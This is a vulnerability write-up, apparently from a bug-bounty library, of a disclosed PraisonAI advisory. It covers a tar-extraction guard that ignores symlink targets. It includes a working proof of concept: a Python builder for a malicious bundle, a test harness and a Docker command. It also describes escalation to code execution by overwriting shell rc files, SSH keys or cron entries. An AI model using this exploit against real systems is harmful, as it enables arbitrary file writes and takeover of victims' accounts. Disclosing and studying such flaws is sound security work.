# PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`

PraisonAI's _safe_extractall validated only member names, so a symlink with an outside linkname plus a file traversing it wrote arbitrary files outside dest_dir.

- Payout: Research
- Severity: high
- Program: PraisonAI
- Found by: DHIRAL2908
- Disclosed: 2026-05-11
- CVE: CVE-2026-44340
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9q28-ghcr-c4x3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9q28-ghcr-c4x3
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** Python tar extraction helper (_safe_extractall) used by recipe pull/publish/unpack
**Root cause:** The per-member validation loop checks only member.name for absolute paths, '..' and resolved escape, never inspecting member.linkname or rejecting symlink/hardlink members; extractall then runs without filter="data", so links pointing outside dest_dir are honored.
**Steps:**
1. Build a .praison gzip tar containing a valid `manifest.json`, then a SYMTYPE member `legit/escape` with `linkname = "/tmp/PWNED"`, then a regular file `legit/escape/owned.txt` with attacker payload.
2. Pre-create `/tmp/PWNED` so the symlink target exists.
3. Call `_safe_extractall(tar, DEST)` with `tarfile.open("malicious.praison", "r:gz")` and DEST=/work/recipes_direct.
4. Validation passes because only names are checked; extractall creates the symlink then writes owned.txt through it.
5. Observe `/tmp/PWNED/owned.txt` exists outside dest_dir.
**How found:** Reviewed the prior path-traversal fix (GHSA-99g3-w8gr-x37c) and noticed the validation loop only inspects member.name, not member.linkname, and that extractall lacked filter="data" — then tested a symlink-then-traverse archive.
**Exploitation:** Attacker ships a malicious .praison bundle; victim runs `praisonai recipe unpack`, `recipe pull` from a malicious/compromised registry, or a registry server processes an uploaded bundle via publish. Extraction writes attacker content to any attacker-chosen path (e.g. .bashrc, authorized_keys, cron), yielding code execution as the victim user or root in server deployments.
**Escalation:** Chains to RCE by overwriting shell rc files, SSH authorized_keys or cron entries; root-run registry servers give arbitrary system file write.
**Insight:** When auditing tar/zip extraction guards, check whether link members (issym/islnk) and linkname targets are validated, not just names; a symlink created first lets later members traverse through it, and Python's extractall defaults to fully_trusted without filter="data".

## Proof of concept (copied exactly from the original report)

**Malicious bundle builder with escaping symlink**

```
import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
    tar.addfile(pf, io.BytesIO(payload))
```

**Direct test calling _safe_extractall on malicious bundle**

```
import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall

DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)

with tarfile.open("malicious.praison", "r:gz") as tar:
    _safe_extractall(tar, DEST)

assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())
```

**Docker reproduction command**

```
docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
  pip install -q praisonai &&
  python make_bundle.py &&
  python direct_test.py
'
```

